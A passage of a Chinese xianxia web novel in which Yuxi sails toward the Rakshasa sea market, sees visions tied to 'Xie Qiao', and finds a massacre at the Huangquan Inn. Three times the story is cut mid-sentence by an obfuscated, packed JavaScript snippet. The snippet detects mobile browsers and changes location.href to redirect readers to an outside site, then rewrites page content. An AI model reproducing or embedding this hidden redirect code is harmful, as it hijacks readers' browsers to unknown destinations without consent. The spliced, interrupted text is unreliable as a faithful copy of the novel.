看来这话本子听不完了,羽熹放下酒杯,拎起衣摆闪人。 他挑了个二楼雅间,正逢小二上菜,两人碰上,他抓着小二急匆匆道:“钱放桌上了,再让人给我搬十坛酒送到渡口找一个叫磨轮的,我有事先走也。” 酒楼够大,左右两侧皆有楼梯,羽熹瞅着那几个弟子位置,从另一侧贴墙下楼。 酒楼喧闹,跨出了大门亦是人声鼎沸,叫卖不绝,往来络绎。 羽熹很容易被街边小摊贩吸引目光,一个个摊主察觉到有路人投来好奇,便招手吆喝,恨不得把自家手艺塞客人手里请他一鉴。 稚童把头拧了半圈,得来一个小糖人,开心得哼起童谣。 无上城繁华,却在川流不息间闻得一叹。 “谁能想到如今中州最繁华的无上城,十七年前曾半城倾覆,生灵涂炭。” 羽熹犹如耳边铃动,猛然回头。 没见着说这话的人,甚至周遭所有的声音都在那一刹那消失了,人群无机质地往前走,如行尸走肉。 突然,所有人都停下脚步,齐刷刷扭过头,一个个面容狰狞,浑身染血,仇人一样盯着羽熹。 羽熹后背渗出冷汗,不明白为何会看到这个景象,揉了揉眼睛,却又见天色漆黑,血影幢幢,周遭雕梁画栋付之一炬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984409|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟消弥漫,死气横生。 “谢乔……” “谢乔……” “冤魂未散……” “你还敢回来……” 无数道声音从四面八方响起,模糊不清又躲避不开。 “我不是谢乔。”羽熹捂住耳朵退后几步,“这些声音为什么会在我识海中响起?前辈……尊者……” 他不断后退,总觉得那些人想要扑上来生啖他的血肉,可他们每个人脚都被钉在原地,只有脑袋被生生翻转半圈,诡异万分。 “羽熹!你怎么了?” 有什么东西拍在他肩膀上,羽熹条件反射颤了颤,深吸一口气,一瞬间那些幻觉都消失了,云方仪担忧地看着他。 “我没事,听到一些奇怪的声音。” 他回头看了看,小商贩还在期待他能驻足摊前,方才叹息的人依旧寻不见踪影。 仿佛只是一场白日梦。 “我们需要尽快离开渡口,街上有很多驻地弟子,我怕他们发现你。” “嗯。” 两人飞快离开了这里。 飞艎原定今夜启程,因这点变数,待所有东西都搬上船后,羽熹便让磨轮立刻出发。 无上城渡口普通货船就已经占据了大片港湾,停泊飞艎的有专门的地方,也依旧水泄不通。 云霄青四处打探一番,得知一半的飞艎都是前往罗刹海市的。 云方仪叮嘱道:“这里头虽没有扶幽宗的船,但保不齐有人知道阴墟那日之事,我们要小心。” 踏上罗刹海域后,光是跟他们走同一条路线的都有好几艘飞艎,当中还有熟面孔。 云方仪拢了拢披风走到船舵,拉下一个木闸,船身立即撑开一道结界,阻拦外界的神识窥探。 羽熹对着云方仪招招手,“师兄,我买了些酒,要不要来喝一杯?” 云方仪转身跟上去,甲板只剩下一个掌舵的。 磨轮见羽熹等人都进了船舱,偷摸摸跑出来蹭到掌舵的跟前,低声道:“跟着前面那两艘飞艎,别跟太紧,也别跟丢了。他们肯定也是去罗刹海市,跟着他们才能找到。” 掌舵的疑惑,“帮主,您不是说您知道罗刹海市在哪儿吗?” 磨轮照着他脑袋呼了一巴掌,“知道个屁,你没听说过,罗刹海市会移动么?半片海域浓雾不散,它又在移动,我们怎么找?!我不这么说他们会轻易放过我们么?” 他撒了一通气,又嘱咐道:“你听我的,一会儿回去告诉弟兄们,提前把东西装好,等飞艎一靠岸,咱们全都跳海。” “那咱们的蟛蜞兽怎么办?” “我会想办法让它们跟上的,老子养了这么多年,可不能白送给别人。”磨轮越说越气,眼神闪过狞色,“娘的,老子叱咤东海这么多年,居然被三个黄毛小子摆了一道,等着,我必让他们有去无回。” 刚说完,甲板传来震动,蟛蜞兽伸出巨钳,阴森森地盯着两人。 磨轮头一次被自己养的异兽吓到,肩膀抖了抖,缩着脖子默默走开了,一边嘴里还骂道:“吃里扒外的畜牲。” …… 白日街道幻像一事过后,羽熹心不在焉,给自己酒杯续上,杯沿刚沾上嘴唇,就被云方仪拦住。 他看了一眼少年的肚子,犹豫道:“我听说,怀孕不可饮酒。” “不能喝么?可是我在酒楼已经喝了很多了。”羽熹被这么一提醒,忙敲了敲识海,“尊者,酒能喝否?” 尊者吹了吹胡子,没好气地道:“喝了才知道来问,你怎么不把龙蛋折腾没了再哭?酒自然可以喝,咱们是龙族,脆弱的凡人自然不能比。” 羽熹放下心,但云方仪很坚持,他只得将酒杯放下,心道没了鄢尘离婆婆妈妈,怎么还得被管着。 结果自己没喝了,云方仪倒是闷头喝了两杯。 羽熹默默看着他喝完,问:“师兄,你是不是有什么事瞒着我?” 24. 黄泉驿 当天夜里,羽熹头脑昏沉,做了许多毫无关联的梦。 一会儿梦见血雾弥漫的废墟,一会儿梦见一片雪山。 风雪灰烬,交错变换,到最后,都拼凑成一道模糊的影子。 “你是谁?” 羽熹喊了一声,那影子并不理他,只顾往前,羽熹跑起来,却怎么都追不上。 道路越来越狭窄,身侧出现了无数道影子伸出手撕扯他。 就在他差一点被万千只手抓住时,身上一道金光迸发,驱散了所有鬼影,羽熹也猛然惊醒。 又是这种奇怪的梦。 他抬手扶了扶额,忽然注意到左手手腕的小鱼印记。 可他明明记得,不管是他还是风小六都没有这种胎记,这是在他掉下悬崖时忽然出现的。 究竟是一直被隐藏,还是因别的原因被印在了他身上? 云方仪对他说的那个故事言犹在耳,对他来说是故事,对风小六来说却是被遗忘的过去。 云方仪告诉他,在芳草堂遇到的那个残疾男人,是风小六的二哥,风羲和。 风小六是东州天在水风氏第六子,因天资愚钝,从小不像别的哥哥们一样问道修仙,娇生惯养长大,父母很疼爱他。 但在他十岁那年风父风扬之死于意外,风氏陷入内斗,骨肉相残。风小六年纪小,为了不让他卷入斗争,风羲和将他千里迢迢送往北原,托付给云重明。 刚到北原水土不服,风小六大病一场,忘记了所有的事,只记得从小带着他的云方仪。 那日芳草堂相遇,或许谁都没认出谁,也或许风羲和认出来了,但没有相认,必有他的苦衷。 其实羽熹觉得有些奇怪,风羲和如今已是风氏宗主,无内忧外患,为何见到却不认自己的弟弟? 窗外冷月高悬,羽熹睡不着,趴在窗棱看海。 谢乔……风小六…… 他隐隐觉得,在自己消失的那段记忆中,这两个人绝非毫不相干。 而他的劫,究竟又是什么劫,是否和这个也有关系? “哗啦啦——” 夜色宁静,窗外传来窸窸窣窣的水流声。 飞艎不知道什么时候开始,已经落到了水面,一圈圈涟漪从底舱荡开。 “不对。” 羽熹忽然起身,跑到甲板上,刚赶到,就听“噗通噗通”的落水声接二连三响起。 云方仪也发现了异动,飞快赶来,“发生什么事了。” 羽熹指着水面,冷声道:“他们跑了。” “可要追?” 羽熹喊了两声“大红”,发现蟛蜞兽也一只不剩,便二话不说踩上船沿就要入水去追。 云霄青大喊一声,“不用追了,你们看哪里。” 抬头一看,大雾弥漫处,朦胧闪烁着昏黄灯光。 “到罗刹海市了?”羽熹问。 “不知道,先靠岸再说。” 罗刹海海水深如墨,肉眼难以看清水下的东西,表面又起浓雾,视野受阻,只能勉强根据灯光辩位。 他们将飞艎靠岸,才能勉强看清,前方不远处,高高挂着一张幡子,上面写了三个字。 “黄……泉……驿?”云霄青奇怪道:“这里不是罗刹海市,周围也没见有别的飞艎。” 羽熹回头望了一圈,什么都没看到,墨一般的海水一叠一叠扑上岸,卷出层层雪沫,盯久了有一种眩晕感。 羽熹身形微晃,退后一步,一回头,一个人不知何时出现在他身后,悄无声息。 说是人,但看不到他的脸,这是个后背佝偻至畸的老人,分辨不清男女,毛发稀疏,背拱成驼峰,头垂下去,好像根本抬不起来。 “客人,里面走。”沙哑的声音从下方传来,听着像是个老妪。 羽熹也一弯腰,像在跟老妪对拜,“老人家,请问这是何处?” 老妪侧了侧脸,眼睛斜着从下往上往上看他一眼,磨着嗓音道:“这是黄泉驿,要去罗刹海市,就留在这里等引路的白鸦。” 老妪挪动脚步,动作极其缓慢的掉头,像一只千年老龟。 羽熹跟上前,脚步放慢与她并行,“白鸦是什么?” 苍老的声音沙哑低缓,“白鸦,就是罗刹海市的妖仆,也有半妖。传说罗刹海市是建在一只沉睡的巨兽背上,巨兽会随海水移动,并无规律,海面又常年起雾,寻常人找不到,就设置了黄泉驿,派白鸦来引路。” 云方仪与云霄青不远不近地跟着,警惕着小岛上的动静。 老妪眼睛在下边儿,更容易看清身后,瞥了一眼那二人,眼珠子便骨碌碌转回去。 羽熹问:“白鸦什么时候来?” “有时三五个时辰来一次,没个定时,几天不来也都有的。”老妪停在驿站门外,并不进去,伸出手指了指,“到了。” “多谢。”羽熹微微欠身。 甫一转身,老妪忽然提醒道:“进去之后,直接去自己房间待着,不要跟任何人说话,夜晚听到动静不要出来,看见熟人也不要理。” “为何——”羽熹还没问完,那老妪却像是忽然长了八条腿,一下子就隐入雾中找不见踪影了。 云方仪在附近巡视了一圈,道:“这小岛不大,方寸之地,除了这个驿站什么都没有,方才一路过来,也没听见其他声音,磨轮那些人恐怕并没有上岛。” 羽熹摆摆手,“既然有引路人,便用不着他们了,随他们去,只别再让我碰见他们就好。” 推开门,昏黄的光撒了几缕在地上,几双脚将其踩碎,很快又暗了下去。 这时,驿站门口的幌子上,一只巴掌大的红雀转动脑袋,盯着新来的三人,扑腾几下煽动翅膀又飞走了。 羽熹推门而入,驿站大堂不小,摆了几十桌,几乎坐满了人。 不,不仅是人。 里面气息很杂,妖气魔气要盛过人气,这么多人,却没有一个人说话,一听门口有动静,都阴恻恻投来目光,上下打量。 “哎哟呵……” 一道尖利的笑声响起,羽熹循声侧目,见一白面书生迎面走来,两条胳膊浑然无骨,水蛇一样攀着他,冰凉的气息吐在他脸上,“好俊俏的少年,过来一道喝两杯?” 书生凑得很近,脸色惨白毫无生气,皮下却密布细细密密的黑色经络,双目充血,连眼眶都泛着红,活脱脱一个地府里爬出来的恶鬼。 羽熹两步躲开他的手,“不必。” 书生碰了个冷脸,并不气馁,一路跟在少年身后,“第一次来这里?就三个人不寂寞吗?来我告诉你一个秘密。” 他忽然凑近羽熹耳边低声说,“这里头都是穷凶极恶之辈,专吃你这种小肥羊,你不如跟我一道,人多,安全。” 羽熹突然停下,回头看了看身后阴暗角落处,目光冷然,“你的蛇?” 几人回头一看,就见混乱的桌凳下,缓缓爬出几条腿粗的银纹蟒,无声无息跟在人脚后跟,见他们停下,还恐吓性地吐了吐信子。 “白念生,你要是管不住你的畜生,我们帮你宰了吃蛇肉。” 旁边的人嫌恶地抬起腿,一拍桌子指着书生大骂。 白念生见被发现,笑着捂了捂唇,朝银纹蟒勾了勾手,那银纹蟒便缠在他身上,粗壮的蛇腹将他肋骨勒出两声咔咔声,似骨头断裂,但他并不在意,就跟没知觉一般。 “被发现了,呵呵,放心别怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没多久就看见了海岸,海岸有风,视野比岛中间的驿站清晰,羽熹再次看见庄游崖落荒而逃的身影,庄游崖回头看了一眼,便跳上了一艘小船。 “不可不眠,去!” 剑风划破空气,庄游崖拔出剑一挡,被剑气震倒在船尾。 后方云方仪和云霄青也追了上来,庄游崖见势不妙,摸出一颗圆球往岸边一抛。 那圆球落地便爆炸,轰隆隆一声巨响,灵气波动震得脚下的碎石块都在颤动。 三人猝不及防被震退几步,差点没站稳。 再一抬头,海面上已经没了踪影。 “居然让他跑了!”羽熹咬牙。 庄游崖是唯一知道他离开试炼谷后发生了什么事的人,他必须要把人抓住审问清楚。 云霄青捡起地上的□□碎屑,仔细研究一番,道了声“难怪”,“崩山子,这是芳草堂的东西。” 羽熹拿过来一瞧,颇为意外,“威力这么大?” 早知芳草堂的东西这里厉害,还小巧方便,他也应该多买一些才是。 而不是收了一堆没用的烟花爆竹小玩意儿。 “不。”云霄青摇头,“这种崩山子卖出去的时候里面是空的,使用时要自己放入灵石,崩山子会在非常短的时间内催动灵石的力量,然后将其无限压缩,直至没法压缩就会发生爆炸,这样灵石的力量会被一定程度的放大,如果放入高阶灵石,用来炸个石门是可以的。可惜只能放一颗灵石,如果做大一些,炸山头都没问题。” 羽熹看了看爆炸范围的地面,伸出手指,在一颗石头上划过,指尖被染成了红色,“刚才灵力波动很大,放的如果不是极品白灵璧,那就是血流萤?” “大概率是血流萤。”云霄青说:“因为即便是白灵璧,只放一颗也没有这么大的威力,若不是我们站得远,经脉一定会被震伤。” “啧啧。”羽熹把残渣扔掉,随手在衣服上擦了擦爪子,叹道:“这东西很了不得啊。” 折道返回时,羽熹耳朵一动,扭过头看了看,被驱散的大雾又死皮赖脸追了回来,什么也看不见,他嘀咕一声,“这岛上有鸟?” 25. 洛羽 “什么鸟?” 云霄青云方仪左右顾望,都说没听到鸟的动静。 “没事,可能听错了。” 再次推开黄泉驿的门,羽熹后背一凉,方才还人满为患插个脚都难,现在却连个鬼影子也没有,除了左右两盏点了跟没点一样的灯盏,跟废店没什么两样。 “此处怪异,”云方仪扭头,“羽熹,要不今夜我们三人共住一间,我来守夜,以免再像上次一样被暗算。” 羽熹不置可否,“师兄,我们先上楼看看。” 这里有没有空房间还真不一定,黄泉驿说是个驿站,但一无驿卒二无老板,除了那个算得上土著的老妪,别的都是来路不明的妖魔鬼怪。 嘎吱嘎吱—— 楼梯发出年久失修的警报,羽熹晃晃悠悠踩上楼,注意到每间房门外都有一块牌子,一面写着“有人”,反过来则空白,代表没人。 长廊走到尽到,尽是“有人”那一面,羽熹刚想说“我说没空房吧,咱们都得挂墙上”时,最后一间十分不给面子,竟是白板面。 “如此,只能我们三人挤一挤了,倒也不用云师兄一个人守夜,”羽熹笑呵呵地拍了拍云霄青,“你俩可以轮换着来啊,谁也别累着,该睡就睡。” 云霄青:“……” 虽说他本就是这么打算的,但羽熹的脸皮厚度还是让他有了新的认知。 几人紧闭了大门和窗户,若不是没有,云霄青还想撒上点雄黄粉。 戒备妥当后,云方仪道:“夜里我们必须要有个人保持清醒,我们并不知道那引路人何时来,也不知道他来了会如何通知黄泉驿的人,所以守夜的人还要时刻留意驿站外的动静。” 熄灯后,羽熹爬上床,沾上枕头就睡着了,睡眠质量好得令人发指。 曾经有仙君调笑他,说他其实是蛰龙,修的是瞌睡道,除了跟魔尊打架,就是在睡觉,谁要是影响他睡觉,下场就和魔尊一样,统统当作死敌处理。 不知睡了多久,他被一声骤然刺入梦中的尖叫声吵醒,那声音无比凄厉,睁开眼都萦绕盘旋在耳边,令人心悸。 羽熹倒没觉得可怕,只是不耐烦,皱紧眉翻了个身,不为所动。 “听见什么都不要管。”老妪的声音在脑海中响起。 没过多久,门外又传来动静,这次似乎是什么东西从高空坠落重重砸在地板上,血肉崩裂的声音。 羽熹不动如山,但似乎是诚心不让他睡,竟然响起一道道敲门声,由远及近,似乎快要到耳边了。 他这才睁开眼,半撑起身看向外堂,惊觉整个房间只剩下他一个人了。 那种诡异的感觉一下子冲上颅顶,比上回醒来就在磨轮的船上被五花大绑更甚,他飞速起身在房间找了找,才终于确定,云方仪和云霄青都不见了。 “怎么会这样?” 云方仪和云霄青都不是冒失的人,说了不离开这个房间,就一定不会轻易被乱七八糟的动静吸引。 他吹灭蜡烛,轻手轻脚开门,回廊漆黑,什么都看不清,便摸出一颗夜明珠往地上照了照。 荧光映出血色,羽熹注意到,地上有被拖出来的大片血迹,看形迹,和白念生那条银纹蟒差不多。 血迹蜿蜒,羽熹循迹跟去,看到一扇大开的房门,从里探出一只蛇头。 是白念生的蛇。 那蛇行动有些笨重,羽熹放轻步子凑近一些,看见了门后的场景,蛇腹比之先前已变得巨粗,高高隆起,形状怪异,不知道吞了个什么东西进去,蛇腹下沾满了黑红黑红的血,几乎把整个地板都洗了一遍。 书生打扮的人一脚跨出,抹了抹嘴角,眼珠子左右转了几圈,转身去了下一间房。 还没等他敲门,房门从里面破开,一团黑影从窄门挤出,直直地扑在白念生身上,冲破栏杆,从二楼坠落。 白念生的尖叫声渐渐变弱,在一声“噗叽”声中戛然而止,接着就是血肉被撕咬的声音。 一个黑袍男人无声无息从房门后跨出,身边跟这十几只通体散发着邪气的猞猁。 猞猁鼻尖翕动,突然扭头,盯着羽熹藏身的方向目露凶光,驭兽师也注意到动静,调转脚步,缓缓靠近。 情况不明,羽熹并不想冒险,屏息靠着墙,手掌一张,剑意落在手中防备着。 他几乎看到一道被拉得极长的暗影投在他面前的回廊地板,心想,山猫这东西很讨厌,宰几只就宰几只吧。 正欲起身,黑暗中忽然伸出一只手拽着他胳膊,将他猛地往回拖。羽熹挣扎了两下,本想回身攻击,但没在这人身上感觉到杀意,发现他只是将自己往后拖进黑暗中藏匿身形,便配合着没有发出声音。 猞猁已经探出脑袋,羽熹能感觉到捂着他嘴的人也抵足躬身,做出随时准备杀出去的姿态,但不等他们动作,就见黑暗中闪出一条巨蟒,一口咬住猞猁脖子,将他卷翻在地,缓缓缠绕绞杀。 原来在他几步外的黑暗中,藏了好几条巨蟒,此时房梁栏杆窗棱爬满黑蛇,和猞猁打成一片,尖利刺耳的野兽咆哮声穿透长廊,再没人注意到他们。 羽熹扒开那人的手,低声问:“你是谁?” 那人穿着黑袍兜帽挡住半张脸,并不回答,拉着他退回羽熹房间,轻轻将门关上。 那人趴在留着的门缝上,凑上半只眼观察门外的情况,确认动静没闹到这边来,便彻底合上门。 甫一转身,一道凌厉的剑风朝脖子后袭来,他迅速侧身,但并未躲开,而是抓住偷袭人的胳膊,低声呵斥,“别动,安静点儿。” 羽熹甩开他的手,退后几步,冷声道:“你是什么人?” “你不用管我是谁,只需要知道,我对你没兴趣。”洛羽走到烛台,指尖一抹,火苗便蹿了起来,“你少折腾,我保你活过今——” 视野恢复明亮的一瞬,他掀了兜帽回身,猝然看清少年脸庞时,半句话阻断在喉咙,差点失声。 “你……你……” 洛羽声音不知为何有些颤抖,像是胸中凭空而起的怒火烧坏了喉咙,一双清明的眼珠子登时目眦欲裂。 “蹭”一声,弯刀锋芒毕露,洛羽二话不说就朝房间里的少年一刀劈过去,口中念念有词,“谢乔,你竟然没死!我杀了你!杀了你!” 羽熹原本没感受到此人的恶意,已经卸去大半防备,不料这人好像脑子有问题,说翻脸就翻脸,比那三个月大的娃娃还难以捉摸。 突然发难,羽熹没来得及避开,悍然接了他两招,“叫谁呢,眼睛不好就多点几盏灯,我是你爷爷。” “你还敢玩这招!”洛羽又拔出另一把弯刀,一副非要把人当场剁了的架势。 “你害我全族,我今日就要报仇雪恨!” 两把弯刀被高高举起,借着灯光才看清,这是两把灰白的骨刀,骨脊弯曲,骨刃锋利,附着强大的妖气。 “是妖族?” 羽熹心里闪过这个念头。 来到罗刹海市前,他还没在修真界见到过妖族。 “别那么浮躁,不然你再仔细看看,万一杀错了人,我不忍心你后半辈子在愧疚中度过。” 羽熹单手接住骨刀,骨刺剌过手心,传来一阵火辣辣的痛感,轻轻地“嘶”了一声。 几招过后,两人挪到烛台边,洛羽狠狠眨眨眼睛借着光再次打量羽熹,脸上又出现了犹疑。 “只是七八分相似,难道是我认错了?” 洛羽将信将疑,一把抓过羽熹左手,抹开衣袖检查什么。 羽熹心底像是被点了一下,忽然想起在中州州盟驻地迎面遇见鄢尘离时,他也是这样,抓着他的左手,像是在确认什么。 “你在看什么?”羽熹声音忽然有些冷。 “奇怪。”洛羽嘀咕一句,“明明是一模一样的印记,怎么他的是鱼头朝上,你的是鱼头朝下?” 洛羽心想:难道是有人在模仿那个人,但却没模仿像,连印记都搞反了? “你真不是谢乔?” 羽熹甩开他的手,拉下衣袖,语气不咸不淡,“你说呢?” “我……”洛羽也犯了难,他想了想,道:“在弄清楚你到底是不是谢乔之前,你不准离开我身边,一旦我发现你是谢乔,我会立马切断你的喉咙。” 羽熹嗤笑一声。 “你干什么去!”洛羽拦住往外走的少年。 “我两个朋友不见了,我得去找他们。” “呵,你朋友真多。” 羽熹:“……让开。” “不用去了。”洛羽收回手,大喇喇坐下,没把自己当外人,倒了杯冷茶水一口饮尽,“碰到你之前,整个黄泉驿我都查过一遍,没有你的朋友。” “你知道我朋友是谁?”羽熹怀疑地眯起眼。 “……”洛羽差点噎住,咳嗽两声,“你不用管这些,我向你保证,他们绝对不在驿站里,现在我们不能出去。” “为什么?” 洛羽用手指着耳朵,示意他听。 此时,房门外的动静越来越大,不同于刚才的试探偷袭,似乎是倾巢而出,打成一团,连驿站房梁都在摇晃。 羽熹指了指顶上,“拆家呢?” 洛羽嗤笑一声,“只管等着,等动静没了我们再出去。” 羽熹径自走到门边,轻轻拉开一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984411|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条缝,蓦地一双眼睛从上面落下,跟他来了个眼对眼,他条件反射地后退几步,才发现那是一个吊在门口的人,已经没了气息,面熟,在大堂扫过一眼,并不知道是谁。 “外面到底发生了什么?”羽熹忍不住问。 或许因为这张跟故人相似的脸,洛羽对他就没什么好脸色,好半天鼻子里哼出气,“你等会儿就知道了。” “……”羽熹关上门摆摆手,“那我睡一觉,好了叫我。” “噗——”洛羽狠狠咳嗽两下,声音劈了叉,“你睡得着?不是,你有病啊?这种情况你还睡觉?你是没脑子还是没有心?” 少年只当耳边有蚊子,并不理会,两只手对着空气拍了一巴掌,十分具有侮辱性,算作回敬。 “……” 洛羽脾气爆,被这样挑衅,提起骨刀站起来,牙齿咬了又咬,越发觉得此人绝对是谢乔,装也不知道装像一点儿,气人的本事只高不低。 “外面好像没动静了。”洛羽忽然看向门外位置。 “你耳朵聋啊,仔细听。”羽熹道。 房间说话声音停止后,寂静之声便火速将耳膜包围,漫长的几息过后,传来一声清脆的敲击声。 声音很远,似乎是从楼下传来的,那声音一下接着一下,像是有人一手拿锤一手拿钉不停地敲打。 “叮……叮……叮……叮……” 不轻不重不远不近,仔细分辨会发现和普通的敲钉子声有所不同,就像把钉子敲进木头和骨头,当中那种细微的不同一样。 “奇怪,怎么会是这种声音?”洛羽“喂”了一声,对羽熹招手,“起来,下去看看。” 羽熹也觉得是时候出去了,便懒懒伸出手,“扶我起来。” “……”洛羽头上的毛都在抖,“你找死?” “你刚才砍我一刀,我骨头都被震麻了,起不来。”羽熹嗓音倦倦的。 “……”深呼吸两口,洛羽不情不愿上前拉他手,却见他手心光滑,根本没有伤痕。 “你这叫受伤?”他把人手心拉过来仔细瞧了瞧,满脸震惊。 他记得此人可是空手接了他的骨刀,不可能一点伤都没有啊。 羽熹懒懒看了一眼,也有一丝惊奇。恢复得这么快? 洛羽一把将他甩开,“连口子都没留下,叫唤什么?好歹是个男人,如此娇气!手上还戴镯子,你把自己当姑娘养?” 羽熹转了转手腕,法镯便顺着他手腕滑落,卡在腕骨中间,黑白相衬,皮肤更显得白腻如脂。 “你还戴羽毛耳坠呢,两只,还扎小辫儿,一边一条,谁更像姑娘?”他不咸不淡地回击,起身经过,还顽劣地扯了扯洛羽垂在身前的小辫子。 “你你你!你懂个屁!”他怒气冲冲追过去,跟前羽熹拉开门忽然侧闪过身,洛羽没防备,那口倒吊的尸体就直愣愣向他砸了过来。 还好他反应快,一脚踹开,但还是不可避免的沾了一身血,刚想破口大骂,羽熹已经跑远,他只好咽下怒气跟上。 外面血腥气浓郁,挥都挥不开,走廊到处都是尸体,横七竖八,连个下脚的地方都难找。 羽熹也不怵,一具一具把尸体扒开,心被提着,生怕云方仪他们在里头。 “我都跟你说了他们不在,快来帮我找东西。” “找什么?” 洛羽一个个翻找过来,闻言抬头,不可思议的看了他一眼,“找什么?你不知道?” “知道什么?” “你可是要去浮屠塔?” “你怎么知道?” “来这里的都要去浮屠塔。”洛羽没再纠结他为什么一副什么都不知道的白痴样,“浮屠塔的拍卖会在第九十九层,别的地方没有限制,唯独九十九层,需要有邀请令才能进去,也就是说,不是来了就能参加拍卖会,得有资格。” “哦~”羽熹站着没动,“你怎么知道。” “我在罗刹海市这么多年我当然知道。” 羽熹目光幽冷,静静地看着他在尸体上翻找,忽然说,“你是白鸦。” 他眼睛一瞬不错地盯着洛羽,见他动作明显顿了一下,便知道猜对了。 洛羽没说话,在一堆尸体中翻找确认没有邀请令后,便越过羽熹下楼。 “引路人到达黄泉驿,会有三声鸦鸣,这里的人自听见鸦鸣后便开始抢夺邀请令,我来的时候已经留下路引,所以得尽快找到邀请令。” “楼下好像还有人。”羽熹信步跟在后头。 转眼两人到了大堂,大门似乎被打开,一阵风裹着血腥气扑面而来。 羽熹捂了捂鼻子,几欲作呕。 26. 朱雀骨1 洛羽两手一旋,掌心揉出一个火球,推向四面八方,胶质般的黑暗瞬间被斥退,赤红火焰熊熊跳跃。 眼前所见,斥退的仅仅只是黑暗,但照亮的却是血涂地狱。 整个大堂死尸横陈,鲜红的血如同朱漆,重刷了一遍褪色的门窗,低头一看,竟然一脚踩在被洞穿的血肉模糊的尸体身上。 洛羽抽出脚,嫌弃地皱眉,仿佛在思考要不要把鞋子扔掉。 羽熹还是第一次目睹凡修界这种混乱的厮杀场面,心中直冒寒气。 这样你死我活的厮杀,仅仅是为了一张邀请令? 这浮屠塔拍卖会上,究竟在卖什么?通天券吗? “中间那是什么?”他越过死状惨烈的尸障,往大堂中央走去。 和周遭乱七八糟的尸体不一样,中间这一堆立在地上,歪歪扭扭欲倒不倒,每具尸体的身体都被折叠起来,脑袋贴着腿缝,背拱成驼峰。 这形象很像他刚上岸见到的老妪,只不过这些人肢体更加扭曲,面部已经被捣烂,地上血肉中还混着许多眼珠子。 凑近一看,羽熹才明白尸体为何如此。 洛羽伸出手,隔空触了触尸体背上凸出来的东西,“是有人用长钉从他们后背击穿,凿入腿骨。” 他弯腰找了找,继续说完,“用了两根长钉固定脊背,再用一根长钉从尾椎骨位置击穿,楔入木地板,让他们保持‘站立’。” 羽熹看着五具尸体以同样的手段被钉在地上,头永远抬不起来,不由得皱眉,“这种手段太残忍了,如果只是为了抢夺一个邀请令,这些动作都太多余,看着更像是泄愤。” “是那个老太婆!”洛羽恍然大悟,“一定是她!只有她才干得出这种事,我竟然忘了她!” 为了验证猜想,洛羽迅速搜了一遍大堂的尸体,根本没有邀请令的踪影。 “是她,一定是她,我竟然漏了她!” 如此一切都通了,“我们不是唯一等待坐收渔翁之利的人,那老太婆也是,她趁这些人斗得两败俱伤,使阴招将活下来的都清理干净,自己拿走了令牌,还要顺便报个仇,把这些曾对她恶语相向的人弄得跟她一样。” 羽熹想起老妪在岸边接引他,还有那些提醒,总觉得不应该,“可驿站这些人中,不乏修为高深者,诡道邪修更是阴损,她只有一个人,能打得过?” “敌在明她在暗,鹬蚌相争渔翁得利,有什么好奇怪的。”洛羽看他蹲了下去,用手拨弄着地上的什么,“你在做什么?” “你来看。”羽熹招呼他过来,戳了戳地上一块还在逸散血红色灵气的晶石。 洛羽皱起了眉,声音陡然变冷,“是血流萤,又是这个东西!” 他一脚将那碎片踩成齑粉,愤然道:“难怪那老太婆有这么大本事,原来也偷用了这种东西,这全都是因为谢乔!如果不是因为他,这一切的一切都不会是现在这个样子。” 羽熹见他又被仇恨扭曲了小俊脸,连忙扯开话题,“这老妪到底是什么人?” “能是什么人,黄泉驿的仆人,”,洛羽很快被带偏,“不过她曾经是罗刹海市的人,不知道得罪了谁,被人卸了全身上下所有骨头,然后用绳子绑成一个肉球丢进了罗刹海,别人都以为不出三声她就会被海中异兽吞吃入腹,谁知道她竟然活了下来,人不像人鬼不像鬼,到这黄泉驿当个接引人,老实本分了几年,没想到她竟然也在打那个东西的主意。” “浮屠塔拍卖名单上的东西?”羽熹敏锐地听出他话中隐藏的信息。 他一发问,洛羽就用一种古怪的眼神看向他,“你不知道拍卖会有什么?” 羽熹奇怪,按那个磨轮的话,拍卖名单要提前一天才会公布,白鸦知道也就算了,那些外来者又如何提前得知的消息? “你不知道也正常。”洛羽像是知道他在想什么,“这间客栈的人大部分都不知道,但浮屠塔拍卖会每年一次,并不是每次搞得这么麻烦,但凡需要邀请令,那么拍卖的东西必定震动整个修真界,即便不知道是什么,也有的是人挤破头要进去,这都是不成文的规矩。” 羽熹特别好奇,“别卖关子了,你既是白鸦,那必定知道真相,究竟是什么东西?” “我知道又如何?”洛羽并不藏着,但也没打算告诉他,“你跟我走,老太婆已经拿着令牌走了,我们得赶紧去海市,只要拍卖会还没开始,就还有机会弄到邀请令。” “等一等。” 羽熹不为所动,挣开手,走到那堆被钉成人锥的尸体旁,摸出剑意缓缓靠近。 “你做什么?”洛羽歪头看他。 “这钉子上有咒语,如果不起掉,这些人的魂魄会被钉在这里,永世不得超生。” 洛羽不屑,“那又怎样,关你什么事!不得超生的鬼魂多了去了,你管得过来?” “管得过来啊。”羽熹两手握着“菜刀”一敲一提,扎入尾椎的钉子被震出来一半,铁锈混着骨沫红肉一起被带了出来。 